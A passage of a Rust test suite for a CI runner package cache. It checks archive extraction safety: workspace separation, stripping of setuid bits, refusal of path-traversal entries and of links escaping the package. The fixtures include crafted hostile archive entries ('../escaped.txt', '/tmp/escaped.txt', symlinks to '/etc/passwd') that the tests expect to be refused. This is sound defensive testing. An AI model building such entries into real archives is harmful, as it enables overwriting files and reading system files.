4609        let (harness, _, _) = linux_fixture();
4610        let cache = cache_with_one_entry(&harness).await;
4611        let held = version("2.330.0");
4612
4613        // Refused: the mistake this guard exists to catch is `e3` deriving a
4614        // runtime path from the cache entry it copied from.
4615        for inside in [
4616            cache.root().join("2.330.0").join("_work"),
4617            cache.root().join("workspaces").join("attempt-1"),
4618            cache.root().to_path_buf(),
4619        ] {
4620            let attempt = fixtures::attempt()
4621                .id(AttemptId::from_u128(0x100))
4622                .state(AttemptState::Busy)
4623                .runtime_path(inside.to_string_lossy().to_string())
4624                .build();
4625
4626            let error = cache.lease(&attempt, &held).unwrap_err();
4627
4628            assert!(
4629                matches!(error, PackageError::WorkspaceInsideCache { .. }),
4630                "`{}` is inside the cache and must be refused, got {error:?}",
4631                inside.display()
4632            );
4633            assert!(
4634                cache.holders(&held).unwrap().is_empty(),
4635                "a refused lease must not have been written"
4636            );
4637        }
4638
4639        // Accepted: a workspace where `d1` actually puts one.
4640        let proper = attempt_in(&harness, 0x100, AttemptState::Busy);
4641        cache
4642            .lease(&proper, &held)
4643            .expect("a runtime under the runtime directory is where it belongs");
4644        assert_eq!(cache.holders(&held).unwrap(), vec![proper.id]);
4645    }
4646
4647    #[test]
4648    fn the_runtime_directory_and_the_package_cache_are_disjoint_roots() {
4649        // Structural, and it holds for a layout nobody has created yet: `d1`
4650        // puts workspaces under `runtime/` and the retained package cache under
4651        // `state/`, so neither can contain the other.
4652        let dir = tempfile::tempdir().expect("a temporary root");
4653        let paths = AppPaths::rooted_at(dir.path());
4654        let cache_root = paths.state_dir().join(PACKAGES_DIR);
4655        let workspaces = paths.runtime_dir();
4656
4657        assert!(
4658            !is_inside(&cache_root, workspaces),
4659            "job workspaces must not live inside the package cache"
4660        );
4661        assert!(
4662            !is_inside(workspaces, &cache_root),
4663            "the package cache must not live inside the workspace root"
4664        );
4665        // And a concrete per-attempt workspace, the shape `e3` will build.
4666        let attempt_workspace = workspaces
4667            .join(fixtures::POLICY_ID.to_string())
4668            .join(fixtures::ATTEMPT_ID.to_string());
4669        assert!(!is_inside(&cache_root, &attempt_workspace));
4670    }
4671
4672    #[tokio::test]
4673    async fn installing_writes_nothing_under_the_runtime_directory() {
4674        let (harness, _, _) = linux_fixture();
4675        let cache = cache_with_one_entry(&harness).await;
4676
4677        assert!(
4678            all_paths(harness.paths.runtime_dir()).is_empty(),
4679            "the package cache must not create job workspaces: {:?}",
4680            all_paths(harness.paths.runtime_dir())
4681        );
4682        // Everything it did write is under the cache root.
4683        let written = all_paths(cache.root());
4684        assert!(
4685            written.iter().any(|path| path.starts_with("2.330.0")),
4686            "the entry should be there: {written:?}"
4687        );
4688    }
4689
4690    #[test]
4691    fn the_tool_cache_is_retained_beside_the_binaries_not_inside_an_entry() {
4692        // "Runner binaries and approved tool caches are retained separately
4693        // from job workspaces" — separately from workspaces, and separately
4694        // from the immutable entries, because a tool cache is written to.
4695        let dir = tempfile::tempdir().expect("a temporary root");
4696        let paths = AppPaths::rooted_at(dir.path());
4697        let cache = PackageCache::new(
4698            &paths,
4699            Os::Linux,
4700            Arch::X64,
4701            CachePorts {
4702                catalog: FakeCatalog::with(Vec::new()),
4703                fetcher: FakeFetcher::with(Vec::new()),
4704                backoff: Arc::new(NoBackoff),
4705                clock: Arc::new(FakeClock::default()),
4706            },
4707        );
4708
4709        assert!(
4710            !is_inside(cache.root(), cache.tool_cache_dir()),
4711            "a written-to tool cache must not sit inside the immutable entries"
4712        );
4713        assert!(
4714            !is_inside(paths.runtime_dir(), cache.tool_cache_dir()),
4715            "the tool cache is retained, not disposable with a workspace"
4716        );
4717        assert!(is_inside(paths.state_dir(), cache.tool_cache_dir()));
4718    }
4719
4720    // =====================================================================
4721    // Extraction
4722    // =====================================================================
4723
4724    #[tokio::test]
4725    async fn both_published_archive_formats_extract_on_every_platform() {
4726        for (extension, bytes) in [
4727            (".zip", zip_bytes(&package_entries())),
4728            (".tar.gz", tar_gz_bytes(&package_entries())),
4729        ] {
4730            let digest = hex_digest(&bytes);
4731            let harness = Harness::new(
4732                vec![published(
4733                    "linux",
4734                    "x64",
4735                    "2.330.0",
4736                    extension,
4737                    Some(&digest),
4738                )],
4739                bytes,
4740            );
4741
4742            let installed = harness
4743                .cache()
4744                .ensure_installed()
4745                .await
4746                .unwrap_or_else(|error| panic!("{extension} should extract: {error}"));
4747
4748            assert_eq!(
4749                fs::read_to_string(installed.root().join("run.sh")).unwrap(),
4750                "#!/bin/sh\necho runner\n"
4751            );
4752            assert_eq!(
4753                fs::read_to_string(installed.root().join("bin/Runner.Listener")).unwrap(),
4754                "listener\n"
4755            );
4756        }
4757    }
4758
4759    #[test]
4760    fn an_archive_entry_that_escapes_is_refused_and_writes_nothing_outside_the_target() {
4761        // This asserts a *property* — nothing lands outside the extraction
4762        // directory — and that property is held up by two independent layers:
4763        // this module's `resolve_inside`, and the archive crates' own guards
4764        // (`ZipFile::enclosed_name` answering `None`, `Entry::unpack_in`
4765        // answering `false`). Gutting either layer alone leaves the property
4766        // standing; removing both turns this red.
4767        //
4768        // # What that means for the call sites, stated rather than glossed
4769        //
4770        // `resolve_inside` itself is pinned by
4771        // `an_archive_entry_may_not_resolve_outside_the_directory_it_is_
4772        // extracted_into`, which reds when the function is gutted.
4773        //
4774        // # The tar call site is pinned by behaviour, and the input is below
4775        //
4776        // An earlier version of this comment claimed no input distinguishes
4777        // this module's layer from the archive crates' layers. That is false,
4778        // and the distinguishing input is the `"tar.gz absolute"` case in this
4779        // very table. Measured against tar 0.4.46:
4780        //
4781        // ```text
4782        // entry  /tmp/escaped.txt   resolve_inside refuses   unpack_in -> Ok(true)
4783        // entry    ../escaped.txt   resolve_inside refuses   unpack_in -> Ok(false)
4784        // ```
4785        //
4786        // `tar` documents it — "Leading `/`s are trimmed" — so for an absolute
4787        // entry it strips the root and unpacks happily into `into/tmp/...`.
4788        // `unpack_in` alone therefore *admits* that entry; `resolve_inside` is
4789        // the only thing that refuses it. Replacing the call with a plain
4790        // `into.join(...)` reds this test.
4791        //
4792        // The **zip** call site is the one that really is compile-pinned only:
4793        // `enclosed_name` already answers `None` for absolute paths, drive
4794        // prefixes and `..`, so no input separates the two layers there. Its
4795        // value is insurance against a dependency relaxing its own sanitising,
4796        // not coverage of a reachable hole.
4797        let dir = tempfile::tempdir().expect("a temporary root");
4798        let target = dir.path().join("target");
4799        let outside = dir.path().join("escaped.txt");
4800
4801        // Negative control: a legitimate archive really does extract here, so a
4802        // refusal below is a refusal of the escape rather than of everything.
4803        let good = dir.path().join("good.archive");
4804        fs::write(&good, tar_gz_bytes(&package_entries())).unwrap();
4805        extract(&good, ArchiveKind::TarGz, &target).expect("a legitimate archive extracts");
4806        assert!(target.join("run.sh").is_file());
4807        remove_dir_all::remove_dir_all(&target).unwrap();
4808
4809        for (label, bytes, kind) in [
4810            (
4811                "tar.gz",
4812                tar_gz_with_raw_name("../escaped.txt", "owned"),
4813                ArchiveKind::TarGz,
4814            ),
4815            (
4816                "tar.gz absolute",
4817                tar_gz_with_raw_name("/tmp/escaped.txt", "owned"),
4818                ArchiveKind::TarGz,
4819            ),
4820            (
4821                "zip",
4822                zip_bytes(&[("../escaped.txt", "owned")]),
4823                ArchiveKind::Zip,
4824            ),
4825        ] {
4826            let archive = dir.path().join(format!("{label}.archive"));
4827            fs::write(&archive, &bytes).unwrap();
4828            let _ = remove_dir_all::remove_dir_all(&target);
4829
4830            let result = extract(&archive, kind, &target);
4831
4832            assert!(
4833                !outside.exists(),
4834                "{label}: an entry escaped the extraction directory"
4835            );
4836            let error = result.expect_err(&format!("{label}: the escape must be refused"));
4837            assert!(
4838                matches!(error, PackageError::UnsafeArchiveEntry { .. }),
4839                "{label}: expected an unsafe-entry refusal, got {error:?}"
4840            );
4841            assert!(error.is_terminal());
4842            assert_eq!(
4843                error.failure_reason(),
4844                Some(FailureReason::RunnerPackageUnverified)
4845            );
4846        }
4847    }
4848
4849    #[test]
4850    fn the_mode_policy_drops_every_bit_that_is_not_an_executable_bit() {
4851        // The policy itself, asserted on every CI leg including the one whose
4852        // filesystem has no mode bits — the `#[cfg(unix)]` tests below prove
4853        // the extraction paths reach this function, and this proves what the
4854        // function decides.
4855        for (published, expected, what) in [
4856            (0o4755, 0o700, "setuid is dropped"),
4857            (0o2755, 0o700, "setgid is dropped"),
4858            (0o1777, 0o700, "the sticky bit is dropped"),
4859            (
4860                0o7777,
4861                0o700,
4862                "all three, plus group and other, are dropped",
4863            ),
4864            (0o777, 0o700, "group and other lose everything"),
4865            (0o666, 0o600, "a non-executable file stays non-executable"),
4866            (0o644, 0o600, "the ordinary case"),
4867            (0o755, 0o700, "an executable stays executable"),
4868            (0o000, 0o600, "the owner can always read it back"),
4869        ] {
4870            assert_eq!(
4871                policy_mode(published),
4872                expected,
4873                "{what}: policy_mode({published:o}) should be {expected:o}"
4874            );
4875        }
4876        // Stated as properties too, so a policy change has to be deliberate.
4877        for published in 0..=0o7777_u32 {
4878            let applied = policy_mode(published);
4879            assert_eq!(applied & 0o7000, 0, "no setuid, setgid or sticky ever");
4880            assert_eq!(applied & 0o077, 0, "nothing for group or other ever");
4881            assert_eq!(
4882                applied & 0o100 != 0,
4883                published & 0o111 != 0,
4884                "executability is the only thing carried through, and only for \
4885                 the owner (published {published:o} -> {applied:o})"
4886            );
4887        }
4888    }
4889
4890    /// `.tar.gz` is the format for Linux and macOS, so this is where modes and
4891    /// links actually reach a filesystem that has them.
4892    #[cfg(unix)]
4893    #[test]
4894    fn a_published_archives_setuid_and_group_bits_are_never_applied_to_an_extracted_file() {
4895        use std::os::unix::fs::PermissionsExt as _;
4896
4897        let dir = tempfile::tempdir().expect("a temporary root");
4898        // setuid + setgid + sticky, world-writable, and executable: everything
4899        // a hostile or merely careless publisher could put in a header.
4900        let bytes = tar_gz_special(
4901            "run.sh",
4902            "#!/bin/sh\n",
4903            0o7777,
4904            tar::EntryType::Regular,
4905            None,
4906        );
4907        // The fixture really carries them. Without this the assertions below
4908        // would hold over an archive that never had a setuid bit to drop.
4909        let (mode, kind, _) = first_entry_header(&bytes);
4910        assert_eq!(mode, 0o7777, "the fixture must carry the full mode");
4911        assert_eq!(kind, tar::EntryType::Regular);
4912
4913        let archive = dir.path().join("p.archive");
4914        fs::write(&archive, &bytes).unwrap();
4915        let target = dir.path().join("target");
4916        extract(&archive, ArchiveKind::TarGz, &target).expect("extraction");
4917
4918        let applied = fs::metadata(target.join("run.sh"))
4919            .unwrap()
4920            .permissions()
4921            .mode()
4922            & 0o7777;
4923        assert_eq!(
4924            applied & 0o4000,
4925            0,
4926            "setuid must never survive extraction (mode {applied:o})"
4927        );
4928        assert_eq!(
4929            applied & 0o2000,
4930            0,
4931            "setgid must never survive extraction (mode {applied:o})"
4932        );
4933        assert_eq!(
4934            applied & 0o022,
4935            0,
4936            "group and world write must never survive (mode {applied:o})"
4937        );
4938        // The policy `extract_zip` documents, applied identically here:
4939        // executable bits kept, owner read/write, nothing else.
4940        assert_eq!(
4941            applied, 0o700,
4942            "the tar path must apply the same mode policy as the zip path"
4943        );
4944    }
4945
4946    #[cfg(unix)]
4947    #[test]
4948    fn an_extracted_directorys_mode_is_owner_only_and_still_usable() {
4949        use std::os::unix::fs::PermissionsExt as _;
4950
4951        let dir = tempfile::tempdir().expect("a temporary root");
4952        let bytes = tar_gz_special("bin/", "", 0o2777, tar::EntryType::Directory, None);
4953        let archive = dir.path().join("p.archive");
4954        fs::write(&archive, &bytes).unwrap();
4955        let target = dir.path().join("target");
4956
4957        extract(&archive, ArchiveKind::TarGz, &target).expect("extraction");
4958
4959        let applied = fs::metadata(target.join("bin"))
4960            .unwrap()
4961            .permissions()
4962            .mode()
4963            & 0o7777;
4964        assert_eq!(
4965            applied & 0o2000,
4966            0,
4967            "setgid must not survive on a directory"
4968        );
4969        assert_eq!(applied & 0o077, 0, "group and other get nothing");
4970        assert!(
4971            applied & 0o300 == 0o300,
4972            "the owner must still be able to write and traverse it (mode {applied:o})"
4973        );
4974    }
4975
4976    #[test]
4977    fn a_link_whose_target_escapes_the_package_is_refused() {
4978        // Refused before any filesystem link call, so this runs on every CI
4979        // leg — creating a symlink on Windows needs a privilege the agent
4980        // should not want, and this test never needs one.
4981        let dir = tempfile::tempdir().expect("a temporary root");
4982        for (label, bytes) in [
4983            (
4984                "symlink to an absolute path",
4985                tar_gz_special(
4986                    "link",
4987                    "",
4988                    0o777,
4989                    tar::EntryType::Symlink,
4990                    Some("/etc/passwd"),
4991                ),
4992            ),
4993            (
4994                "symlink climbing out",
4995                tar_gz_special(
4996                    "link",
4997                    "",
4998                    0o777,
4999                    tar::EntryType::Symlink,
5000                    Some("../../escape"),
5001                ),
5002            ),
5003            (
5004                "symlink climbing out from a subdirectory",
5005                tar_gz_special(
5006                    "bin/link",
5007                    "",
5008                    0o777,
5009                    tar::EntryType::Symlink,
5010                    Some("../../escape"),
5011                ),
5012            ),
5013            (
5014                "hard link",
5015                tar_gz_special("link", "", 0o644, tar::EntryType::Link, Some("/etc/passwd")),
5016            ),
5017        ] {
5018            // The fixture really is a link with that target.
5019            let (_, kind, link) = first_entry_header(&bytes);
5020            assert!(
5021                matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link),
5022                "{label}: the fixture must be a link entry"
5023            );
5024            assert!(link.is_some(), "{label}: the fixture must carry a target");
5025
5026            let archive = dir.path().join(format!("{label}.archive"));
5027            fs::write(&archive, &bytes).unwrap();
5028            let target = dir.path().join(label);
5029
5030            let error = extract(&archive, ArchiveKind::TarGz, &target)
5031                .expect_err(&format!("{label} must be refused"));
5032
5033            assert!(
5034                matches!(error, PackageError::UnsafeArchiveEntry { .. }),
5035                "{label}: expected an unsafe-entry refusal, got {error:?}"
5036            );
5037            assert!(error.is_terminal());
5038            assert_eq!(
5039                error.failure_reason(),
5040                Some(FailureReason::RunnerPackageUnverified)
5041            );
5042            assert!(
5043                !target.join("link").exists(),
5044                "{label}: nothing may have been created"
5045            );
5046        }
5047    }
5048
5049    /// The negative control for the refusal above: a link that stays inside the
5050    /// package is legitimate and must still extract.
5051    ///
5052    /// Unix-only because creating the symlink is the point, and Windows needs a
5053    /// privilege for that. The *refusal* path above is cross-platform.
5054    #[cfg(unix)]
5055    #[test]
5056    fn a_link_that_stays_inside_the_package_is_extracted() {
5057        let dir = tempfile::tempdir().expect("a temporary root");
5058        let bytes = tar_gz_special(
5059            "bin/current",
5060            "",
5061            0o777,
5062            tar::EntryType::Symlink,
5063            Some("../run.sh"),
5064        );
5065        let archive = dir.path().join("p.archive");
5066        fs::write(&archive, &bytes).unwrap();
5067        let target = dir.path().join("target");
5068
5069        extract(&archive, ArchiveKind::TarGz, &target)
5070            .expect("a link inside the package is legitimate");
5071
5072        assert!(
5073            fs::symlink_metadata(target.join("bin/current"))
5074                .unwrap()
5075                .is_symlink(),
5076            "the link should have been created"
5077        );
5078    }
5079
5080    #[test]
5081    fn an_entry_that_names_the_extraction_root_resolves_to_nothing() {
5082        // The cross-platform half of the root-entry fix. The end-to-end test
5083        // below can only see the consequence on a filesystem with mode bits,
5084        // so the decision itself is asserted here, where every CI leg runs it.
5085        let root = Path::new("/cache/staging/root");
5086        for names_the_root in [".", "./", "./."] {
5087            assert_eq!(
5088                entry_destination(root, Path::new(names_the_root), names_the_root).unwrap(),
5089                None,
5090                "`{names_the_root}` names the extraction root and must not resolve to it"
5091            );
5092        }
5093        // And an ordinary entry still resolves normally, so the check above is
5094        // not simply swallowing everything.
5095        assert_eq!(
5096            entry_destination(root, Path::new("bin/run.sh"), "bin/run.sh").unwrap(),
5097            Some(root.join("bin").join("run.sh"))
5098        );
5099        assert_eq!(
5100            entry_destination(root, Path::new("./bin/run.sh"), "./bin/run.sh").unwrap(),
5101            Some(root.join("bin").join("run.sh"))
5102        );
5103        // An escape is still an escape rather than a skipped root entry.
5104        assert!(entry_destination(root, Path::new("../x"), "../x").is_err());
5105    }
5106
5107    #[test]
5108    fn a_directory_always_gets_a_traversable_owner_only_mode() {
5109        // The directory rule, asserted where every CI leg runs it. The zip path
5110        // used to skip the policy for directories entirely, and `policy_mode`
5111        // alone would have made a `0o644` directory undescendable.
5112        for published in [Some(0o2777), Some(0o755), Some(0o644), Some(0o000), None] {
5113            assert_eq!(
5114                intended_mode(true, published),
5115                Some(0o700),
5116                "a directory published as {published:?} must end up traversable and owner-only"
5117            );
5118        }
5119        // Files keep the file rule, including "no published mode, leave it".
5120        assert_eq!(intended_mode(false, Some(0o4755)), Some(0o700));
5121        assert_eq!(intended_mode(false, Some(0o644)), Some(0o600));
5122        assert_eq!(
5123            intended_mode(false, None),
5124            None,
5125            "a zip written on Windows publishes no mode, and there is nothing to apply"
5126        );
5127    }
5128
5129    #[cfg(unix)]
5130    #[test]
5131    fn a_zip_directory_entry_gets_the_same_mode_policy_as_a_tar_one() {
5132        use std::os::unix::fs::PermissionsExt as _;
5133
5134        // The zip path returned early for directories and never reached the
5135        // policy, so a `.zip` published with a world-writable or setgid
5136        // directory got it applied verbatim by `create_dir_all` + the archive.
5137        // Both formats extract on every platform, so this is not hypothetical
5138        // just because Windows packages are the zips.
5139        let dir = tempfile::tempdir().expect("a temporary root");
5140        let bytes = zip_bytes_with_modes(&[
5141            ("bin/", "", Some(0o2777)),
5142            ("bin/run.sh", "#!/bin/sh\n", Some(0o4755)),
5143        ]);
5144        let archive = dir.path().join("p.archive");
5145        fs::write(&archive, &bytes).unwrap();
5146        let target = dir.path().join("target");
5147
5148        extract(&archive, ArchiveKind::Zip, &target).expect("extraction");
5149
5150        let dir_mode = fs::metadata(target.join("bin"))
5151            .unwrap()
5152            .permissions()
5153            .mode()
5154            & 0o7777;
5155        assert_eq!(
5156            dir_mode, 0o700,
5157            "a zip directory must get the owner-only policy (mode {dir_mode:o})"
5158        );
5159        let file_mode = fs::metadata(target.join("bin/run.sh"))
5160            .unwrap()
5161            .permissions()
5162            .mode()
5163            & 0o7777;
5164        assert_eq!(
5165            file_mode, 0o700,
5166            "a zip file must get the owner-only policy (mode {file_mode:o})"
5167        );
5168    }
5169
5170    #[cfg(unix)]
5171    #[test]
5172    fn a_directory_entry_with_no_executable_bit_is_still_traversable() {
5173        use std::os::unix::fs::PermissionsExt as _;
5174
5175        // `policy_mode` alone would turn a `0o644` directory into `0o600`,
5176        // which the agent could not then descend into. A directory's
5177        // traversability is not the archive's to withhold.
5178        let dir = tempfile::tempdir().expect("a temporary root");
5179        for (label, bytes, kind) in [
5180            (
5181                "tar.gz",
5182                tar_gz_special("bin/", "", 0o644, tar::EntryType::Directory, None),
5183                ArchiveKind::TarGz,
5184            ),
5185            (
5186                "zip",
5187                zip_bytes_with_modes(&[("bin/", "", Some(0o644))]),
5188                ArchiveKind::Zip,
5189            ),
5190        ] {
5191            let archive = dir.path().join(format!("{label}.archive"));
5192            fs::write(&archive, &bytes).unwrap();
5193            let target = dir.path().join(label);
5194
5195            extract(&archive, kind, &target).expect("extraction");
5196
5197            let mode = fs::metadata(target.join("bin"))
5198                .unwrap()
5199                .permissions()
5200                .mode()
5201                & 0o7777;
5202            assert_eq!(
5203                mode, 0o700,
5204                "{label}: a directory must stay traversable (mode {mode:o})"
5205            );
5206        }
5207    }
5208
5209    #[test]
5210    fn an_entry_naming_the_extraction_root_cannot_touch_it() {
5211        // An entry called `.` or `./` resolves to the extraction directory
5212        // itself, which would hand the archive control of the mode of a
5213        // directory this module owns and created. It is not an escape — the
5214        // policy fails closed — but the archive does not get a say here.
5215        //
5216        // **Which half of this proves what.** The mode assertion below is the
5217        // one that detects the defect, and it is `#[cfg(unix)]`, so on Windows
5218        // this test only shows that a root entry is tolerated rather than
5219        // fatal. The decision itself is asserted on every leg by
5220        // `an_entry_that_names_the_extraction_root_resolves_to_nothing`, which
5221        // reds when the skip is removed. Said here so nobody reads a green
5222        // Windows run as proof of the mode property.
5223        let dir = tempfile::tempdir().expect("a temporary root");
5224        for (label, bytes, kind) in [
5225            (
5226                "tar.gz dot",
5227                tar_gz_special(".", "", 0o777, tar::EntryType::Directory, None),
5228                ArchiveKind::TarGz,
5229            ),
5230            (
5231                "tar.gz dot slash",
5232                tar_gz_special("./", "", 0o777, tar::EntryType::Directory, None),
5233                ArchiveKind::TarGz,
5234            ),
5235            (
5236                "zip dot",
5237                zip_bytes_with_modes(&[("./", "", Some(0o777))]),
5238                ArchiveKind::Zip,
5239            ),
5240        ] {
5241            let archive = dir.path().join(format!("{label}.archive"));
5242            fs::write(&archive, &bytes).unwrap();
5243            let target = dir.path().join(label);
5244            fs::create_dir_all(&target).unwrap();
5245            let marker = target.join("owned-by-this-module");
5246            fs::write(&marker, b"x").unwrap();
5247
5248            // Skipped, not refused: `tar -C dir -czf out.tgz .` emits exactly
5249            // this entry for the archive's own root, so refusing it would fail
5250            // a legitimate package. See `resolve_inside` for the reasoning.
5251            extract(&archive, kind, &target).unwrap_or_else(|error| {
5252                panic!("{label}: a root entry is skipped, not fatal: {error}")
5253            });
5254
5255            assert!(
5256                marker.is_file(),
5257                "{label}: the extraction root must be untouched"
5258            );
5259            #[cfg(unix)]
5260            {
5261                use std::os::unix::fs::PermissionsExt as _;
5262                let mode = fs::metadata(&target).unwrap().permissions().mode() & 0o7777;
5263                assert_ne!(
5264                    mode, 0o777,
5265                    "{label}: the archive must not have set the root's mode"
5266                );
5267            }
5268        }
5269    }
5270
5271    #[test]
5272    fn the_archive_format_comes_from_the_filename_not_from_the_host() {
5273        assert_eq!(
5274            ArchiveKind::split("actions-runner-win-x64-2.330.0.zip")
5275                .unwrap()
5276                .1,
5277            ArchiveKind::Zip
5278        );
5279        assert_eq!(
5280            ArchiveKind::split("actions-runner-linux-x64-2.330.0.tar.gz")
5281                .unwrap()
5282                .1,
5283            ArchiveKind::TarGz
5284        );
5285        assert_eq!(
5286            ArchiveKind::split("actions-runner-linux-x64-2.330.0.TAR.GZ")
5287                .unwrap()
5288                .1,
5289            ArchiveKind::TarGz
5290        );
5291        assert!(ArchiveKind::split("actions-runner-linux-x64-2.330.0.7z").is_err());
5292    }
5293
5294    #[tokio::test]
5295    async fn a_zip_is_extracted_on_a_host_whose_own_packages_are_tarballs() {
5296        // The format follows the filename, so this exercises the Windows
5297        // extraction path on the Linux and macOS CI legs too.
5298        let bytes = zip_bytes(&package_entries());
5299        let harness = Harness::new(
5300            vec![published(
5301                "linux",
5302                "x64",
5303                "2.330.0",
5304                ".zip",
5305                Some(&hex_digest(&bytes)),
5306            )],
5307            bytes,
5308        );
5309
5310        let installed = harness.cache().ensure_installed().await.expect("a zip");
5311
5312        assert!(installed.root().join("bin/Runner.Listener").is_file());
5313    }
5314}